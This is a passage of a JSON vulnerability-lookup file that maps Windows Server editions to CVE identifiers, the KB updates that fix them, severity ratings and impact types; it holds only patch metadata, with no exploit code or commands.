Privilege"},{"cve":"CVE-2020-1048","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565349","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565349","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601345","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003171","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003171","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003646","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601345","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601345","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000822","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004947","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005030","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005568","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006672","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015811","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014692","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013941","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034127","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029247","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025229","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028168","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032196","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031361","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039217","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041578","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043050","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048661","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044277","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050008","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053596","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053596","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055519","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058392","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058392","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060531","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066586","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063877","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063877","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070883","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2022":[{"cve":"CVE-2021-22947","kb":"5009555","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5005575","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005575","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006699","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-45985","kb":"5044281","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-27776","kb":"5015827","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014678","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-35737","kb":"5034129","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029250","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025230","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073457","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032198","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031364","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039227","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034770","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041160","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5042881","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048654","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044281","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049983","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053603","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053603","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053603","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053603","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055526","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058385","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058385","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060526","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066782","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062572","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063880","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070884","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2022 (Server Core installation)":[{"cve":"CVE-2021-22947","kb":"5009555","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5005575","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005575","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006699","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-45985","kb":"5044281","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-27776","kb":"5015827","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014678","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-35737","kb":"5034129","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029250","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025230","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073457","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032198","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031364","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039227","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034770","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041160","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5042881","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048654","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044281","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049983","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053603","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053603","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053603","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053603","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055526","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058385","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058385","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060526","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066782","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062572","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063880","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070884","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2022, 23H2 Edition (Server Core installation)":[{"cve":"CVE-2021-45985","kb":"5044288","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-2804","kb":"5075897","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-31096","kb":"5073450","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-50868","kb":"5039236","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034769","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041573","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043055","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048653","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044288","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049984","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5049984","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053599","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053599","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053599","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053599","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055527","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058384","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058384","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060118","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066780","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062570","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063899","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063899","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070879","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2025":[{"cve":"CVE-2021-45985","kb":"5050009","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5073379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-49138","kb":"5048667","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050009","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050009","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053598","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053598","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055523","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058411","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058411","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060842","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062553","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063878","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070881","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2025 (Server Core installation)":[{"cve":"CVE-2021-45985","kb":"5050009","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5073379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-49138","kb":"5048667","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050009","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050009","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053598","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053598","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055523","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058411","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058411","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060842","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062553","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063878","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070881","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server, version 1709 (Server Core Installation)":[{"cve":"CVE-2017-11830","kb":"4048955","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4054517","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0743","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0748","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0823","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074588","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343897","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093112","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467686","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103727","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4486996","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493441","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server, version 1803 (Server Core Installation)":[{"cve":"CVE-2018-0824","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0952","kb":"4343909","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0982","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467702","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103721","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487017","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493464","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503286","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4520008","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530717","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537762","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server, version 1903 (Server Core installation)":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1069","kb":"4503293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4517389","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4565351","severity":"Critical","impact":"Elevation of Privilege"}],"Windows Server, version 1909 (Server Core installation)":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601315","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003169","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003169","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1732","kb":"4601315","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-24091","kb":"4601315","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000808","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"}],"Windows Server, version 2004 (Server Core installation)":[{"cve":"CVE-2020-1313","kb":"4557957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4566782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4566782","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601319","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-36942","kb":"5005033","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server, version 20H2 (Server Core Installation)":[{"cve":"CVE-2020-1472","kb":"4601319","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code 